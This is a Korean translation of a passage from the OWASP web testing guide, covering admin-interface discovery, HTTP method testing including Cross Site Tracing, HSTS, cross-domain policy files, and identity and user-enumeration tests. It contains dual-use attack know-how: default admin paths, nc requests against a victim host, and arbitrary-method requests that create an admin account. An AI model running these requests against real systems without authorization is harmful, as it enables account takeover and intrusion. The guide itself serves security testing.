  • 이 기술을 사용하는 파일 시스템에 문서 루트가 있는 경우 웹을 통해 파일 시스템 스냅 샷에 액세스 할 수 없습니다. 이러한 디렉토리에 대한 액세스를 거부하도록 웹 서버를 구성하십시오. 예를 들어 Apache에서 위치 지시문을 사용하는 경우 다음과 같이 사용해야합니다.
<Location ~ ".snapshot">
    Order deny,allow
    Deny from all
</Location>

OTG-CONFIG-005 (인프라와 어플리케이션 관리자 인터페이스 확인)


개요

관리자 인터페이스는 특정 사용자가 사이트에서 권한 있는 활동을 수행 할 수 있도록 응용 프로그램 또는 응용 프로그램 서버에 있을 수 있습니다. 승인되지 않은 사용자나 표준 사용자가 이 권한이 있는 기능에 액세스 할 수 있는지 여부 및 그 액세스 방법을 확인하려면 테스트를 수행해야합니다.

권한이 부여된 사용자가 사이트 작동 방식을 변경할 수 있는 기능에 액세스 할 수 있게하려면 응용 프로그램 관리자 인터페이스가 필요할 수 있습니다. 그러한 변경에는 다음이 포함될 수 있습니다.

  • 사용자 계정 프로비저닝
  • 사이트 디자인 및 레이아웃
  • 데이터 조작
  • 구성 변경

많은 경우, 이러한 인터페이스에는 권한이없는 액세스로부터 보호 할 수있는 충분한 제어 기능이 없습니다. 테스트는 이러한 관리자 인터페이스를 발견하고 권한이 부여 된 사용자를위한 기능에 액세스하는 것을 목표로합니다.


테스트 방법


Black Box Testing

이번 섹션은 관리 인터페이스 존재를 테스트 하기 위해 사용되는 벡터를 설명합니다.

이 기술들은 권한 상승 관련 문제를 테스트하는데 사용될 수 있습니다. (인증 스키마 우회 테스트(OTG-AUTHZ-002)와 안전하지 않은 직접 객체 참조 테스트(OTG-AUTHZ-004) 참고)

  • 디렉토리와 파일 리스팅. Google dorks 등의 내용을 기반으로 관리 인터페이스의 경로 추측한다.
  • 서버 컨텐츠를 브루트 포싱을 할 수 있는 툴이 많이 존재합니다. 테스터는 관리 페이지의 파일명도 식별해야합니다.
  • 소스 코드에 있는 주석과 링크. 대부분의 사이트는 모든 사이트 사용자들에게 로드하기 위해 공통 코드를 사용합니다. 클라이언트로 전송된 모든 소스를 검사하다보면, 관리자 기능에 대한 링크가 발견될 수 있으니 검사해야합니다.
  • 서버와 어플리케이션 문서 검토. 만약 어플리케이션 서버 또는 어플리케이션이 기본 설정으로 배포된 것이라면, 설정 또는 도움말 문서에 설명된 정보를 사용하여 관리 인터페이스에 저액세스할 수 있습니다. 관리 인터페이스가 발견되어 자격 증명이 요구되면, 기본 패스워드 리스트를 참고해야 합니다.
  • 공개 이용 정보. 워드프레스와 같은 어플리케이션 대부분이 기본 관리인터페이스를 가지고 있습니다.
  • 서버 포트 대체. 관리 인터페이스는 주요 어플리케이션과 다른 포트를 사용하기도 합니다. 예를 들어, 아파치 톰캣의 관리 인터페이스는 8080 포트를 사용합니다.
  • 파라미터 침투. GET/POST 파라미터, 또는 cookie 변수를 통해 기능적으로 관리자를 활성화할 수도 있습니다.
<input type="hidden" name="admin" value="no">

또는, cookie에서

Cookie: session_cookie; useradmin=0

관리 인터페이스가 발견되면, 인증 우회를 하기 위해 위의 기술들을 조합하여 사용할 수 있습니다. 만약 실패하면, 테스터는 브루트 포스 공격을 시도해야 합니다.

그러한 경우 테스터는 관리 계정 잠금에 대한 가능성도 알고 있어야 합니다.


Gray Box Testing

서버 및 응용 프로그램 구성 요소에 대한보다 자세한 조사가 강화되어야 합니다(즉, 관리자 페이지는 IP 필터링 또는 기타 제어를 통해 모든 사람이 액세스 할 수 없음). 적용 가능한 경우 모든 구성 요소가 기본 자격 증명을 사용하지 않음을 확인하거나 구성. 소스 코드는 권한 부여 및 인증 모델이 일반 사용자와 사이트 관리자간에 명확한 직무 분리를 보장하는지 확인하기 위해 검토되어야 합니다. 일반 사용자와 관리자 사용자가 공유하는 사용자 인터페이스 기능을 검토하여 그러한 구성 요소의 그림과 그러한 공유 기능의 정보 유출과의 명확한 구분을 보장해야합니다.

각 웹 프레임 워크에는 고유 한 관리자 기본 페이지 또는 경로가있을 수 있습니다. 예를 들어

WebSphere:

/admin /admin-authz.xml /admin.conf /admin.passwd /admin/* /admin/logon.jsp /admin/secure/logon.jsp

PHP:

/phpinfo /phpmyadmin/ /phpMyAdmin/ /mysqladmin/ /MySQLadmin /MySQLAdmin /login.php /logon.php /xmlrpc.php /dbadmin

FrontPage:

/admin.dll /admin.exe /administrators.pwd /author.dll /author.exe /author.log /authors.pwd /cgi-bin

WebLogic:

/AdminCaptureRootCA /AdminClients /AdminConnections /AdminEvents /AdminJDBC /AdminLicense /AdminMain /AdminProps /AdminRealm /AdminThreads

WordPress:

wp-admin/ wp-admin/about.php wp-admin/admin-ajax.php wp-admin/admin-db.php wp-admin/admin-footer.php wp-admin/admin-functions.php wp-admin/admin-header.php


도구

  • Dirbuster
  • THC-HYDRA
  • brute forcer

OTG-CONFIG-006 (HTTP 메소드 테스트)


개요

HTTP는 웹 서버에서 작업을 수행하는 데 사용할 수있는 여러 가지 방법을 제공합니다. 이러한 많은 방법은 개발자가 HTTP 응용 프로그램을 배포하고 테스트하는 데 도움이 되도록 설계되었습니다. 이러한 HTTP 메소드는 웹 서버가 잘못 구성된 경우 악의적인 목적으로 사용될 수 있습니다. 또한 서버의 HTTP TRACE 메서드를 사용하는 교차 사이트 스크립팅의 한 형태인 XST(Cross Site Tracing)가 검사됩니다.

GET 및 POST는 웹 서버에서 제공하는 정보에 액세스하는 데 가장 많이 사용되는 방법이지만 HTTP는 몇 가지 다른 방법을 허용합니다. RFC 2616(현재 표준 인 HTTP 버전 1.1을 설명 함)에서는 다음과 같은 8가지 방법을 정의합니다.

  • HEAD
  • GET
  • POST
  • PUT
  • DELETE
  • TRACE
  • OPTIONS
  • CONNECT

공격자가 웹 서버에 저장된 파일을 수정하고 일부 시나리오에서는 합법적 인 사용자의 자격 증명을 훔칠 수 있으므로 이러한 방법 중 일부는 웹 응용 프로그램의 보안 위험을 초래할 수 있습니다. 보다 구체적으로, 사용 불가능하게 해야 하는 메소드는 다음과 같습니다.

  • PUT: 이 메소드를 사용하면 클라이언트가 웹 서버에 새 파일을 업로드 할 수 있습니다. 공격자는 악의적인 파일(예: cmd.exe를 호출하여 명령을 실행하는 ASP 파일)을 업로드하거나 피해자의 서버를 단순히 파일 저장소로 사용하여 악성 파일을 악용할 수 있습니다.
  • DELETE: 이 메소드는 클라이언트가 웹 서버의 파일을 삭제할 수 있게합니다. 공격자는 웹 사이트를 손상 시키거나 DoS 공격을 일으키는 매우 간단하고 직접적인 방법으로 악용 할 수 있습니다.
  • CONNECT: 이 방법을 사용하면 클라이언트가 웹 서버를 프록시로 사용할 수 있습니다.
  • TRACE: 이 메소드는 서버로 전송된 문자열이 무엇이든 간에 클라이언트에 간단하게 에코하여 디버깅 목적으로 주로 사용됩니다. 원래 무해하다고 가정된 이 방법은 Jeremiah Grossman이 발견한 교차 사이트 추적이라는 공격을 수행하는 데 사용할 수 있습니다.

응용 프로그램에 REST 웹 서비스(PUT 또는 DELETE가 필요할 수 있음)와 같은 이러한 메서드 중 하나 이상이 필요한 경우 해당 사용이 신뢰할 수있는 사용자와 안전한 조건으로 올바르게 제한되는지 확인하는 것이 중요합니다.


임의의 HTTP 메소드

Arshan Dabirsiaghi (링크 참조)는 많은 웹 응용 프로그램 프레임 워크에서 환경 수준의 액세스 제어 검사를 우회하기 위해 잘 선택되거나 임의의 HTTP 메소드를 사용할 수 있음을 발견했습니다.

많은 프레임 워크와 언어는 "HEAD"를 "GET"요청으로 취급합니다. 응답에는 본문이 없어도 됩니다. GET 요청에 보안 제약 조건을 설정하여 "authenticatedUsers"만이 특정 서블릿이나 리소스에 대한 GET 요청에 액세스 할 수있는 경우 "HEAD"버전에서는 무시됩니다. 이로 인해 권한이 부여되지 않은 GET 요청을 맹목적으로 제출할 수 있었습니다. 일부 프레임 워크에서는 "JEFF"또는 "CATS"와 같은 임의의 HTTP 메소드를 제한없이 사용할 수 있었습니다. 이것들은 "GET" 메소드가 발행 된 것처럼 처리되었고 많은 언어와 프레임 워크에 대한 메소드 롤 기반 액세스 제어 검사의 대상이 아니며 권한이 부여되지 않은 GET 요청의 맹목적 제출을 다시 허용합니다.

대부분의 경우 "GET"또는 "POST"메소드를 명시적으로 검사한 코드는 안전합니다.


테스트 방법

지원하는 메소드 확인

이 테스트를 수행하려면 테스터는 검사중인 웹 서버가 지원하는 HTTP 메소드를 파악할 수 있는 방법이 필요합니다. OPTIONS HTTP 메소드는 테스터에게 가장 직접적이고 효과적인 방법을 제공합니다. RFC 2616에서는 "OPTIONS 메서드는 Request-URI로 식별되는 요청/응답 체인에서 사용할 수있는 통신 옵션에 대한 정보 요청"을 나타냅니다.

테스트 방법은 매우 간단하며 netcat(또는 telnet)만 실행하면 됩니다.

$ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

예제에서 볼 수 있듯이 OPTIONS은 웹 서버가 지원하는 메소드 목록을 제공하며, 이 경우 TRACE 메소드가 사용 가능하다는 것을 알 수 있습니다. 이 방법으로 인해 발생할 수 있는 위험은 다음 섹션에 설명되어 있습니다.

nmap과 http-methods NSE 스크립트를 사용하여 동일한 테스트를 실행할 수도 있습니다:

C:\Tools\nmap-6.40>nmap -p 443 --script http-methods localhost

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-04 11:52 Romance Standard Time

Nmap scan report for localhost (127.0.0.1)
Host is up (0.0094s latency).
PORT    STATE SERVICE
443/tcp open  https
| http-methods: OPTIONS TRACE GET HEAD POST
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html

Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds

XST 가능성 테스트

Note: 이 공격의 논리와 목표를 이해하려면 Cross Site Scripting 공격에 익숙해야합니다.

명백하게 무해한 TRACE 방법은 합법적 인 사용자의 자격 증명을 도용하기 위해 일부 시나리오에서 성공적으로 활용할 수 있습니다. 이 공격 기법은 2003 년 Jeremiah Grossman이 Microsoft에서 Internet Explorer 6 SP1에 도입한 HTTPOnly 태그를 우회하여 쿠키가 JavaScript에 의해 액세스되지 않도록 보호하기 위해 발견되었습니다. 실제로 Cross Site Scripting에서 가장 자주 발생하는 공격 패턴 중 하나는 document.cookie 개체에 액세스하여 공격자가 제어하는 ​​웹 서버로 보내어 피해자 세션을 가로 챌 수 있도록하는 것입니다. httpOnly로 쿠키에 태그를 지정하면 JavaScript가 액세스하지 못하므로 제 3자에게 전송되지 않습니다. 그러나 이 시나리오에서는 TRACE 메서드를 사용하여이 보호를 무시하고 쿠키에 액세스 할 수 있습니다.

앞에서 언급했듯이 TRACE는 웹 서버에 전송 된 문자열을 반환합니다. 존재 여부를 확인하거나 위에 나온 OPTIONS 요청의 결과를 다시 확인하려면 테스터가 다음 예제와 같이 진행될 수 있습니다.

$ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com

응답 본문은 정확히 원래 요청의 사본으로 대상에서이 메서드를 허용합니다. 자, 위험은 어디에 숨어 있습니까? 테스터가 웹 서버에 TRACE 요청을 보내도록 브라우저에 지시하고 이 브라우저에 해당 도메인에 대한 쿠키가 있는 경우 쿠키는 요청 헤더에 자동으로 포함되므로 결과 응답에 다시 표시됩니다. 이 시점에서 쿠키 문자열은 JavaScript로 액세스 할 수 있으며 쿠키가 httpOnly로 태그 된 경우에도 최종적으로 제 3 자에게 보낼 수 있습니다.

Internet Explorer의 XMLHTTP ActiveX 컨트롤과 Mozilla 및 Netscape의 XMLDOM과 같이 브라우저가 TRACE 요청을 발행하는 여러 가지 방법이 있습니다. 그러나 보안상의 이유로 브라우저는 적대적인 스크립트가 상주하는 도메인에만 연결을 시작할 수 있습니다. 이는 공격자가 공격을 수행하기 위해 TRACE 방법과 다른 취약점을 결합해야하므로 완화 요소입니다.

공격자는 Cross Site Tracing 공격을 성공적으로 시작하는 두 가지 방법이 있습니다.

  • 또 다른 서버 측 취약점을 이용: 공격자는 정상적인 크로스 사이트 스크립팅 공격처럼 취약한 애플리케이션에 TRACE 요청을 포함하는 악의적인 JavaScript 스니펫을 주입합니다.
  • 클라이언트 측 취약점 활용: 공격자는 적대적인 JavaScript 코드 단편을 포함하는 악의적인 웹 사이트를 만들고 해당 브라우저의 일부 도메인 간 취약성을 악용하여 JavaScript 코드가 해당 코드를 지원하는 사이트에 성공적으로 연결되도록합니다. TRACE 메서드를 사용하여 공격자가 훔치려고 시도하는 쿠키를 유래했습니다.

코드 샘플과 함께보다 자세한 정보는 Jeremiah Grossman이 작성한 원본 백서에서 찾을 수 있습니다.


임의의 HTTP 메소드 테스트

방문 제약 조건이있는 방문 페이지를 찾아서 일반적으로 로그인 페이지로 302 리디렉션하거나 강제로 로그인하도록 하십시오. 이 예제의 테스트 URL은 많은 웹 애플리케이션과 마찬가지로 작동합니다. 그러나 테스터가 로그인 페이지가 아닌 "200"응답을 얻으면 인증 및 권한 부여를 무시할 수 있습니다.

$ nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...

프레임 워크 또는 방화벽 또는 응용 프로그램이 "JEFF" 메소드를 지원하지 않으면 오류 페이지(또는 바람직하게는 405 Not Allowed 또는 501 Not implemented 오류 페이지)를 발행해야합니다. 요청을 처리하면 이 문제에 취약합니다.

테스터가 시스템이 이 문제에 취약하다고 생각하면 CSRF와 유사한 공격을 하여 문제를보다 완벽하게 활용해야합니다.

  • FOOBAR /admin/createUser.php?member=myAdmin
  • JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
  • CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

테스트중인 애플리케이션과 테스트 요구 사항에 맞게 수정 된 위의 세 가지 명령을 사용하여 새로운 사용자가 생성되고 비밀번호가 지정되고 관리자가되는 행운이 있습니다.


참고 문헌

Whitepapers

OTG-CONFIG-007 (HTTP Strict Transport 보안 테스트)


개요

HSTS(HTTP Strict Transport Security) 헤더는 웹 사이트가 웹 브라우저와 통신해야 하는 메커니즘으로, 특정 도메인과 교환되는 모든 트래픽을 항상 https를 통해 전송해야하므로 정보가 암호화되지 않은 요청을 통해 전달되지 않도록 보호합니다.

이 보안 측정법의 중요성을 고려할 때 모든 데이터가 웹 브라우저에서 서버로 암호화되도록 하기 위해 웹 사이트가 이 HTTP 헤더를 사용하는지 확인하는 것이 중요합니다.

HTTP Strict Transport Security(HSTS) 기능을 사용하면 웹 응용 프로그램이 브라우저에 특정 응답 헤더를 사용하여 HTTP를 사용하여 지정된 도메인 서버에 연결하지 않아야 함을 알릴 수 있습니다. 대신 HTTPS를 통해 사이트에 액세스하기위한 모든 연결 요청을 자동으로 설정해야합니다.

HTTP 엄격 전송 보안 헤더는 두 가지 지시문을 사용합니다.

  • max-age: 브라우저가 모든 HTTP 요청을 HTTPS로 자동 변환해야하는 시간 (초)을 나타냅니다.
  • includeSubDomains: 모든 웹 응용 프로그램의 하위 도메인에서 HTTPS를 사용해야 함을 나타냅니다.

다음은 HSTS 헤더 구현의 예입니다.

Strict-Transport-Security: max-age=60000;
includeSubDomains

다음 보안 문제가 발생할 수 있는지 확인하려면 웹 응용 프로그램에서 이 헤더를 사용해야합니다.

  • 공격자가 네트워크 트래픽을 스니핑하고 암호화되지 않은 채널을 통해 전송 된 정보에 액세스합니다.
  • 공격자는 신뢰할 수없는 인증서를 수락하는 문제 때문에 중간 공격자를 악용합니다.
  • 실수로 HTTPS 대신 HTTP를 사용하는 브라우저에서 주소를 입력 한 사용자 또는 실수로 http 프로토콜을 나타내는 웹 응용 프로그램의 링크를 클릭 한 사용자.

테스트 방법

curl을 사용하여 HSTS 헤더의 존재 여부를 확인할 수 있습니다.

$ curl -s -D- https://domain.com/ | grep Strict

예상 결과

Strict-Transport-Security: max-age=...

참고 문헌


OTG-CONFIG-008 (RIA 크로스 도메인 정책 테스트)


개요

RIA (Rich Internet Application)는 Adobe Java, Silverlight 및 Adobe Flash와 같은 기술을 사용하여 데이터 및 서비스 소비에 대한 제어 된 상호 도메인 액세스를 허용하기 위해 Adobe의 crossdomain.xml 정책 파일을 채택했습니다. 따라서 도메인은 다른 도메인의 서비스에 대한 원격 액세스 권한을 부여 할 수 있습니다. 그러나 종종 액세스 제한을 설명하는 정책 파일은 잘못 구성됩니다. 정책 파일을 잘못 구성하면 교차 사이트 요청 위조 공격이 가능하고 제 3자가 사용자를위한 중요한 데이터에 액세스 할 수 있습니다.


cross-domain 정책 파일이 무엇인가?

cross-domain 정책 파일은 Java, Adobe Flash, Adobe Reader 등과 같은 웹 클라이언트가 다른 도메인의 데이터에 액세스하는 데 사용하는 권한을 지정합니다. Silverlight의 경우 Microsoft는 Adobe의 crossdomain.xml 하위 집합을 채택하고 자체적으로 cross-domain 정책 파일 인 clientaccesspolicy.xml을 추가로 만들었습니다.

웹 클라이언트에서 리소스가 다른 도메인에서 요청되어야 한다는 것을 감지 할 때마다 대상 도메인의 정책 파일을 먼저 찾고 헤더를 포함한 도메인 간 요청 수행 및 소켓 기반 연결이 허용되는지 확인합니다.

마스터 정책 파일은 도메인 루트에 있습니다. 클라이언트는 다른 정책 파일을 로드하도록 지시받을 수 있지만 항상 마스터 정책 파일을 검사하여 마스터 정책 파일이 요청 된 정책 파일을 허용하는지 확인합니다.


Crossdomain.xml vs. Clientaccesspolicy.xml

대부분의 RIA 응용 프로그램은 crossdomain.xml을 지원합니다. 그러나 Silverlight의 경우 crossdomain.xml이 모든 도메인에서 액세스가 허용되도록 지정한 경우에만 작동합니다. Silverlight를 사용하여 보다 세밀하게 제어하려면 clientaccesspolicy.xml을 사용해야 합니다.

  • 수락된 정책 파일 (마스터 정책 파일은 특정 정책 파일을 비활성화하거나 제한 할 수 있음)
  • 소켓 사용 권한
  • 헤더 사용 권한
  • HTTP / HTTPS 액세스 권한
  • 암호화 자격 증명을 기반으로 액세스 허용

지나치게 관대한 정책 파일의 예 :

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="all"/>
    <allow-access-from domain="*" secure="false"/>
    <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

어떻게 cross domain 정책 파일을 악용할 수 있는가?

  • 지나치게 허용되는 교차 도메인 정책.
  • 도메인 간 정책 파일로 취급 될 수 있는 서버 응답 생성
  • 파일 업로드 기능을 사용하여 도메인 간 정책 파일로 간주 될 수 있는 파일을 업로드합니다.

cross-domain 액세스 악용 영향

  • CSRF 보호를 무력화
  • 원본이 아닌 정책으로 제한되거나 보호되는 데이터를 읽습니다.

테스트 방법

RIA 정책 파일 취약점 테스트:

테스터가 RIA 정책 파일 취약점을 테스트하기 위해서는 어플리케이션의 루트 폴더에서 crossdomain.xml과 clientaccesspolicy.xml 정책 파일을 검색합니다.

예를 들어, 만약 어플리케이션의 URL이 http://www.owasp.org라면, 테스터는 http://www.owasp.org/crossdomain.xml과 http://www.owasp.org/clientaccesspolicy.xml 파일을 다운로드 합니다. 모든 정책 파일을 검색한 후, 허용된 권한을 최소 권한 원칙에 따라 확인해야 합니다. 요청은 필요한 도메인, 포트 또는 프로토콜에서만 발생해야합니다. 지나치게 관대한 정책은 피해야합니다.

파일에 "*"로 정책이 있는 지 면밀히 검토해야 합니다.

예제

<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>

예상 결과:

  • 정책 파일 리스트 발견
  • 정책에 취약한 설정

도구

  • Nikto
  • OWASP ZAP
  • W3af

참고 문헌

Whitepapers

02_ID 관리 테스트

OTG-IDENT-001 (역할 정의 테스트)


개요

현대 기업에서는 시스템 역할을 정의하여 사용자를 관리하고 시스템 자원에 대한 권한을 관리하는 것이 일반적입니다. 대부분의 시스템 구현에서 적어도 두 가지 역할(관리자 및 일반 사용자)이 있어야합니다. 첫 번째 역할은 권한이 있고 민감한 기능과 정보에 대한 액세스를 허용하는 것을 나타내며, 두 번째 역할은 일반 비즈니스 기능 및 정보에 대한 액세스를 허용하는 것을 나타냅니다. 잘 구성된 역할은 응용 프로그램이 지원하는 비즈니스 프로세스와 일치해야합니다.

냉정하고 엄격한 인증만이 시스템 객체에 대한 액세스를 관리하는 유일한 방법은 아니라는 점을 기억해야합니다. 기밀성이 중요하지 않고 보다 신뢰할 수 있는 환경에서 응용 프로그램 워크플로우 및 감사 로깅과 같은 보다 부드러운 컨트롤은 데이터 무결성 요구 사항을 지원하면서 기능에 대한 사용자 액세스를 제한하지 않거나 관리하기 어려운 복잡한 역할 구조를 만들 수 있습니다. 너무 적은 수의 광범위한 역할을 정의함으로써(사용자가 요구하지 않는 기능에 대한 액세스를 노출 시킴) 역할 엔지니어링이 너무 많고 단단히 조율된 역할만큼 나쁘다는 점에서 Goldilocks 원칙을 고려하는 것이 중요합니다 (사용자가 요구하는 기능에 대한 액세스를 제한합니다). ).


테스트 목적

응용 프로그램 내에서 정의 된 시스템 역할의 유효성을 확인하여 각 시스템과 비즈니스 역할을 충분히 정의하고 분리하여 시스템 기능 및 정보에 대한 적절한 액세스를 관리합니다.


테스트 방법

시스템 개발자 나 관리자의 도움이 있든 없든 역할 vs 권한 매트릭스를 개발하십시오.

매트릭스는 프로비저닝 할 수있는 모든 역할을 열거하고 모든 제약 조건을 포함하여 객체에 적용 할 수있는 권한을 탐색해야합니다.

응용 프로그램과 함께 제공된 매트릭스가 테스터에 의해 검증되어야합니다. 테스터가 존재하지 않으면 테스터는이를 생성하고 매트릭스가 응용 프로그램에 대한 원하는 액세스 정책을 충족하는지 확인해야합니다.

예제

역할 권한 목적 제약 조건
Administrator Read 고객 기록  
Manager Read 고객 기록 비즈니스 단위와 관련된 기록 만
RoStaff Read 고객 기록 관리자가 지정한 고객과 관련된 기록 만
Customer Read 고객 기록 나만의 기록

실제 세계 정의의 역할 정의는 Word-Press 역할 문서 [1]에서 찾을 수 있습니다. WordPress에는 수퍼 관리자에서 구독자에 이르는 6 가지 기본 역할이 있습니다


도구

이 테스트를 완료하기위한 가장 철저하고 정확한 접근법은 수동으로 수행하는 것이지만 스파이더 링 도구 [2]도 유용합니다. 각 역할에 차례로 로그온하고 애플리케이션을 스파이더 링하십시오 (스파이더 링에서 로그 아웃 링크를 제외하는 것을 잊지 마십시오).


참고 문헌

  • Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007
  • Role engineering and RBAC standards

권고 사항

문제를 해결하려면 다음과 같은 형식을 취할 수 있습니다.

  • 역할 엔지니어링
  • 비즈니스 역할을 시스템 역할에 매핑
  • 직무 분리

OTG-IDENT-002 (사용자 등록 처리 테스트)


개요

일부 웹 사이트는 사용자에 대한 시스템 액세스 프로비저닝을 자동화(또는 반자동)하는 사용자 등록 프로세스를 제공합니다. 액세스에 대한 ID 요구 사항은 시스템의 보안 요구 사항에 따라 긍정적인 식별에서 전혀 식별하지 않는 것으로 다양합니다. 많은 공개 응용 프로그램은 사용자 기반의 크기로 인해 수동으로 관리 할 수 없기 때문에 등록 및 프로비저닝 프로세스를 완전히 자동화합니다. 그러나 많은 기업 응용 프로그램이 수동으로 사용자를 제공하므로이 테스트 사례는 적용되지 않을 수 있습니다.


테스트 목적

  • 사용자 등록에 대한 신원 요구 사항이 비즈니스 및 보안 요구 사항과 일치하는지 확인
  • 등록 절차 확인

테스트 방법

사용자 등록에 대한 신원 요구 사항이 비즈니스 및 보안 요구 사항과 일치하는지 확인
  1. 누구나 접속할 수 있습니까?
  2. 등록은 프로비저닝 이전에 사람이 심사 했습니까? 아니면 기준이 충족되면 자동으로 부여됩니까?
  3. 동일한 사람 또는 신분증을 여러 번 등록 할 수 있습니까?
  4. 사용자가 다른 역할이나 권한을 등록 할 수 있습니까?
  5. 등록을 성공적으로하려면 어떤 신원 증명이 필요합니까?
  6. 등록된 신원을 확인합니까?
등록 절차 확인
  1. 신원 정보를 위조하거나 위장 할 수 있습니까?
  2. 신원 정보 교환이 등록 중에 조작 될 수 있습니까?

예제

아래의 WordPress 예에서는 유일한 신원 확인 요구 사항은 등록자가 액세스 할 수있는 전자 메일 주소입니다.

이와 대조적으로 아래의 Google 예에서는 신원 확인 요구 사항에 이름, 생년월일, 국가, 휴대 전화 번호, 이메일 주소 및 보안 문자 응답이 포함됩니다. 이 중 두 가지 (전자 메일 주소 및 휴대폰 번호) 만 확인할 수 있지만 식별 요구 사항은 WordPress보다 엄격합니다.


도구

HTTP 프록시는 이 컨트롤을 테스트하는 유용한 도구가 될 수 있습니다.


참고 문헌

User Registration Design


권고 사항

자격 증명이 보호하는 정보의 보안 요구 사항에 해당하는 식별 및 확인 요구 사항을 구현합니다.


OTG-IDENT-003 (계정 공급 과정 테스트)


개요

계정 프로비저닝은 공격자가 적절한 식별 및 권한 부여 프로세스를 적용하지 않고 올바른 계정을 만들 수있는 기회를 제공합니다.


테스트 목적

어떤 계정이 다른 계정을 프로비저닝 할 수 있는지 그리고 어떤 유형의 계정인지 확인하십시오.


테스트 방법

사용자를 프로비저닝 할 수있는 역할과 프로비저닝 할 수있는 계정을 결정하십시오.

  • 프로비저닝 요청에 대한 확인, 검사 및 승인이 있습니까?
  • 프로비저닝 해제 요청에 대한 확인, 검사 및 승인이 있습니까?
  • 관리자가 다른 관리자 또는 사용자를 프로비저닝 할 수 있습니까?
  • 관리자 나 다른 사용자가 자신보다 큰 권한을 가진 계정을 제공 할 수 있습니까?
  • 관리자 나 사용자가 스스로 프로비저닝을 해제 할 수 있습니까?
  • 프로비저닝 해제 된 사용자가 소유 한 파일 또는 리소스는 어떻게 관리됩니까? 삭제 되었습니까? 액세스가 전송 되었습니까?

예제

WordPress에서는 아래와 같이 사용자를 프로비저닝하는 데 사용자 이름과 전자 메일 주소 만 필요합니다.

사용자의 프로비저닝을 해제하려면 관리자가 프로비저닝을 해제 할 사용자를 선택하고 드롭 다운 메뉴에서 삭제(동그라미로 표시)를 선택한 다음이 작업을 적용해야합니다. 관리자는 사용자의 게시물을 어떻게 처리할지 묻는 대화 상자를 표시합니다 (삭제 또는 전송).


도구

이 테스트를 완료하기위한 가장 철저하고 정확한 방법은 수동으로 수행하는 것이지만 HTTP 프록시 도구도 유용 할 수 있습니다.


OTG-IDENT-004 (계정 리스트 및 추측 가능한 사용자 테스트)


개요

이 테스트의 범위는 응용 프로그램의 인증 메커니즘과 상호 작용하여 유효한 사용자 이름 집합을 수집 할 수 있는지 확인하는 것입니다. 이 테스트는 유효한 사용자 이름이 주어지면 테스터가 해당 비밀번호를 찾을 수 있는지를 확인하는 무차별 대항 테스트에 유용합니다.

흔히 웹 애플리케이션은 잘못된 구성의 결과 또는 디자인 결정의 결과로 사용자 이름이 시스템에 존재할 때를 나타냅니다. 예를 들어 잘못된 자격 증명을 제출하면 사용자 이름이 시스템에 있거나 제공된 암호가 잘못되었다는 메시지가 표시되는 경우가 있습니다. 획득한 정보는 공격자가 시스템상의 사용자 목록을 얻는 데 사용할 수 있습니다. 이 정보는 예를 들어 무차별 공격이나 기본 사용자 이름 및 암호 공격을 통해 웹 응용 프로그램을 공격하는 데 사용될 수 있습니다.

테스터는 응용 프로그램의 인증 메커니즘과 상호 작용하여 특정 요청을 보내면 응용 프로그램이 다른 방식으로 응답하는지 확인해야합니다. 사용자가 유효한 사용자 이름을 제공 할 때 웹 응용 프로그램 또는 웹 서버에서 릴리스 한 정보가 유효하지 않은 사용자와 다를 때이 문제가 발생합니다.

유효하지 않은 사용자 이름 또는 잘못된 암호가 사용 되었기 때문에 제공된 자격 증명이 잘못되었는지를 나타내는 메시지가 수신되는 경우도 있습니다. 경우에 따라 테스터는 사용자 이름과 빈 암호를 보내 기존 사용자를 열거 할 수 있습니다.


테스트 방법


Black Box testing

테스터는 특정 어플리케이션, 사용자 이름, 어플리케이션 로직, 로그 페이지에서 오류 메시지, 또는 비밀 번호 복구 과정에 대해 아무것도 모른다. 만약 어플리케이션이 취약하다면, 테스터는 응답 메시지를 통해 사용자 리스트에 대한 유용한 정보를 받을 수 있습니다.


HTTP 응답 메시지를 통한 사용자 리스팅

유효한 사용자 및 올바른 패스워드 테스트

유효한 사용자 ID와 유효한 패스워드를 입력할 때 서버 응답 저장

결과

WebScarab를 사용하면, 성공적인 인증에 대한 정보를 알 수 있습니다. (HTTP 200 Response, response 길이)


유효한 사용자 및 잘못된 패스워드 테스트

이제, 테스터는 유효한 사용자 ID와 잘못된 암호를 삽입하고 어플리케이션에 의해 생성된 오류 메시지를 저장하려고 합니다.

결과

브라우저는 다음과 유사한 메시지를 보여줄 것입니다.

Authentication failed

Return to Login page

또는 다음과 같은 메시지를 보여줄 것입니다.

No configuration found.
Contact your system administrator

Return to Login page

사용자 존재를 보여주는 메시지는 아래와 같습니다.

Login for User foo: invalid password

WebScarab를 사용하면, 인증 실패 시도에 대한 검색 정보를 알 수 있습니다. (HTTP 200 Response, response 길이)


존재하지 않는 사용자명 테스트

이제, 테스터는 잘못된 ID와 password를 삽입한 뒤, 서버 응답을 저장할 것입니다.

결과

만약 테스터가 존재하지 않는 ID를 입력했다면, 다음과 유사한 메시지를 보낼 것입니다.

Login failed for User foo: invalid Account

